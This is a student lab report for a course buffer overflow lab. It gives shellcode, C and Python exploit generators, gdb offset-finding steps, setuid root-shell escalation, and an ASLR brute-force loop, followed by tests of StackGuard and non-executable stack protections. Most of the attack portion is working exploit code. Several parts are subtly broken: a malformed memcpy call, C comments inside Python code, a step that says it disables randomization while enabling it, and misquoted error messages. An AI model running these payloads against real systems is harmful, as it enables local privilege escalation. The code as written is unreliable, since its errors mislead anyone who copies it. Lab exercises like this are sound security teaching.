CPS633 Section 07 Fall2021

Lab 02 Report

Buffer Overflow Vulnerability Lab

Name: Tusaif Azmat (group leader)
Student#: 500660278.
And
Name: Ankit Sodhi
Student#: 500958004

Group 04.

CPS633 Fall2021 Section 07 Group 04 Name: Tusaif Azmat - 500660278
Name: Ankit Sodhi - 500958004

CPS 633 - Lab 2 Report

Buffer Overflow Vulnerability Lab

Lab Tasks:

2.1 Turning Off Countermeasures.

Answer: We could do that with the help of the following command.

$ sudo sysctl -w kernel.randomize_va_space=0

2.2 Task 1: Running Shellcode

Answer: We will follow the steps as below:

> ls -l /bin/sh
We will change the version first
>sudo ln -sf /bin/zsh /bin/sh

Now we are ready to run the cshell.c code first to set up for the next step

```
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

By
> gcc cshell.c -o cshell
> ./cshell
>$ id
This will show the which shell we are running the code
>$exit
We change this to the root shell
>sudo chown root
>sudo chmod 4755 cshell
Check to see if it works
>ls -l cshell
Again we run the cshell.c
> ./cshell
>#id

This will show us that it is running in root shell

>#exit

Now we are ready to call the shellcode from the buffer
We construct the buffer with this call_shellcode.c

```
/* call_shellcode.c: You can get it from the lab's website */

/* A program that launches a shell using shellcode */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"          /* Line 1:  xorl    %eax,%eax             */
  "\x50"              /* Line 2:  pushl   %eax                  */
  "\x68""//sh"        /* Line 3:  pushl   $0x68732f2f           */
  "\x68""/bin"        /* Line 4:  pushl   $0x6e69622f           */
  "\x89\xe3"          /* Line 5:  movl    %esp,%ebx             */
  "\x50"              /* Line 6:  pushl   %eax                  */
  "\x53"              /* Line 7:  pushl   %ebx                  */
  "\x89\xe1"          /* Line 8:  movl    %esp,%ecx             */
  "\x99"              /* Line 9:  cdq                           */
  "\xb0\x0b"          /* Line 10: movb    $0x0b,%al             */
  "\xcd\x80"          /* Line 11: int     $0x80                 */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
```

We first create the executable for the call_shellcode.c

>gcc call_shellcode.c -o call_shellcode

It will not work so we use the following command

> gcc call_shellcode.c -z execstack -o call_shellcode

We execute our file

> ./call_shellcode

>$exit

It works fine now we will move to the next step.

2.3 The Vulnerable Program

Answer: We changed the file stack.c so that we could have a buffer overflow situation. In the program stack.c we will increase the buffer size value to something in between 0 and 400.

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);          ①

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
     /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Before executing the above program we create a badfile which will case the buffer to overflow.

>touch badfile

>ls -ls badfile (it's an empty file to start with)

We run the badfile first to check if it works with stack.c

>gcc -fno-stack-protector -z execstack stack.c -o stack

>Returned Properly

So, it shows working fine.As it's empty so no buffer overflow.

We check the permissions to make sure it will work properly once we later modify

> sudo chown root stack

> sudo chmod 4755 stack
>ls -l stack
>./stack
>Returned Properperly

Now we are ready for the next step.

2.4 Task 2: Exploiting the Vulnerability

Answer: We need to change the buffer size in the stack.c file to 240.
As you see below.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 200
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

     /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

We will use exploit.c file for this purpose. But first we need to figure out the start and return address of the vulnerable function "bof" in stack.c file. In stack.c we use buffer overflow.
But first we need to debug the stack.c to find the required addresses to use in exploit.c.

>gcc -g -fno-stack-protector -z execstack stack.c -o stack_dbg
> gdb ./stack_dbg

We get in debug mode, We use breakpoint to get the addresses.

> gdb-peda$ b bof
…
> gdb-peda$ run
…
>gdb-peda$ p/x &buffer
>$1 = 0xbfffe830
>gdb-peda$ p/x $ebp
>$2 = 0xbfffe928
>gdb-peda$ p/d 0xbfffe928 - 0xbfffe830
>$3 = 248
>gdb-peda$ q

Now we have the offset number 248 which we will use for the exploit.c file.
Following is the exploit.c with the required code.

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    int shell_len, offset, buff, ebp, ret;
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    shell_len = strlen(shellcode);
    memcpy(buffer + 517 - shell_len, shellcode, shell_len);
    buff = 0xbfffe830;
    ebp = 0xbfffe928;
    offset = ebp - buff + 4;
    ret = buff + offset + 100;
    memcpy(buffer + offset + &ret, 4);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Finally we run the code

>gcc exploit.c -o exploit
>./exploit
It lonches the attack
We check the stack.
>./stack
>#id
This gives id as root, that means attach runs successfully.
>#exit

2.5 Task 3: Defeating dash's Countermeasure

Answer: For this task we need to set up our files as provided in the lab manual.

```
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;
        // setuid(0); ①
        execve("/bin/sh", argv, NULL);
        return 0;
}
```

We write the dash_shell_test.c and comment out the setuid(0) and see the effects of that…
First we check if our shell points to dash shell
> ls -l /bin/sh
And it showed it points tp /bin/dash
Now we run the first tial with setuid(0) as commented out.
> gcc -o dash_shell_test1 dash_shell_test.c
>./dash_shell_test
>$id
…
>exit
And it gives uid as 1000 that is not root. So we try changing that as follows
>sudo chown root dash_shell_test1
>sudo chmod 4755 dash_shell_test1
After setting up the permissions we run the file again.
>./dash_shell_test1

>$id
…
>exit

It still gave uid as 1000 that is the cause of commented out setuid(0). Counter measure stopping the use of root.
Now, we have to defeat that by un-comment the setuid(0) in our program dash_shell_test.c file
Again we compile and run our file dash_shell_test.c

>gcc -o dash_shell_test2 dash_shell_test.c
>./dash_shell_test2
>$id
…
>$exit

It still gives us uid=1000 so we need to change owner to root as follows

>sudo chown root dash_shell_test2
>sudo chmod 4755 dash_shell_test2

We run again

>./dash_shell_test2
>$id
…
>exit

This time we get uid as root. Now we need to attack again. So we will use a python file to initiate our attack but first we add 4 more lines to it as provided to us in the lab requirements.
Exploit.py

```
#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0" /* Line 1: xorl %eax,%eax */
   "\x31\xdb" /* Line 2: xorl %ebx,%ebx */
   "\xb0\xd5" /* Line 3: movb $0xd5,%al */
   "\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---

   "\x31\xc0"    # xorl    %eax,%eax
   "\x50"        # pushl   %eax
   "\x68""//sh"  # pushl   $0x68732f2f
   "\x68""/bin"  # pushl   $0x6e69622f
   "\x89\xe3"    # movl    %esp,%ebx
   "\x50"        # pushl   %eax
   "\x53"        # pushl   %ebx
   "\x89\xe1"    # movl    %esp,%ecx
   "\x99"        # cdq
   "\xb0\x0b"    # movb    $0x0b,%al
   "\xcd\x80"    # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
buffer = 0xbfffe940
ebp = 0xbfffea38

offset = ebp - buffer + 4            # replace 0 with the correct value
ret    = buffer + offset + 200   # replace 0xAABBCCDD with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

We generate badfile with the above python file
We got the new addresses by following the steps followed in task 2. And execute the python file.

> python3 exploit.py

We run the stack next to see if attack was a success

>./stack
>id
…
> exit

It ran in root and the attack was successful.

2.6 Task 4: Defeating Address Randomization

Answer: for this task first we turn off the randomization address. We use the script provided with the lab as below to complete the task.

```
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
  do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack
done
```

This will run the vulnerable program an infinite number of times and exhaust the system. If the attack succeeds, the script will stop; otherwise it will keep running.

We put our script in a file that makes it easy to run
Defeat_add_rand.sh

Again we turn off the address randomization.
> sudo sysctl -w kernel.randomize_va_space=2
We try to see
>./stack
And we run defeat_add_rand.sh
First we change the permissions to have it run smoothly
> chmod +x defeat_add_rand.sh
> ./defeat_add_rand.sh
And brute-force script will exhaust the system, we wait for the root shell back to us
It took a while and finally gave back the root shell as below
>#
We will try to see if we still in root shell by
>#id
…
>#exit
As we got the shell back that means our attack was successful and defeated the protection provided by the randomization.

2.7 Task 5: Turn on the StackGuard Protection

Answer: For this task as per instructions provided with the lab, first we turn off the address randomization.

>sudo sysctl -w kernel.randomize_va_space=0
Before moving forward with the next step we check the gcc version
> gcc --verson
We get it fine and stack guard protection is turned on by default
Then we use below to compile as stack_wsg
>gcc -z execstack -o stack_wsg stack.c
This will gives us aan executable file then we run it
>./stack_wsg
And we get the following error
>* Stack Smashing detected**
And the program will terminate.
That means stack guard is enabled and stops the attack.
Now we change shell to root to see if it works that way.
>sudo chown root stack_wsg
> sudo chmod 4755 stack_wsg
Now its owner is root and we run the program again.
> ./stack_wsg
And it gives the same error "Stack Smashing detected" and the program terminates.
That means it is overridden.

2.8 Task 6: Turn on the Non-executable Stack Protection

Answer: First we turn off the address randomization as usual.
In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2.
For executable of attack file we use name as stack_n_ex
> gcc -o stack_n_ex -fno-stack-protector -z noexecstack stack.c
Once the executable is created we run as program using the shell
>./stack_n_ex
We get "fragmentation fault"
That means even though the buffer is full it goes to non-executable stack
The malicious code is placed in non-executable stack
We try to change the permissions to see if it changes anything
>sudo chown root stack_n_ex
>sudo chmod 4755 stack_n_ex
We tried again
>./stack_n_ex
But we still get the same message "fragmentation fault". It means task 2 attack failed.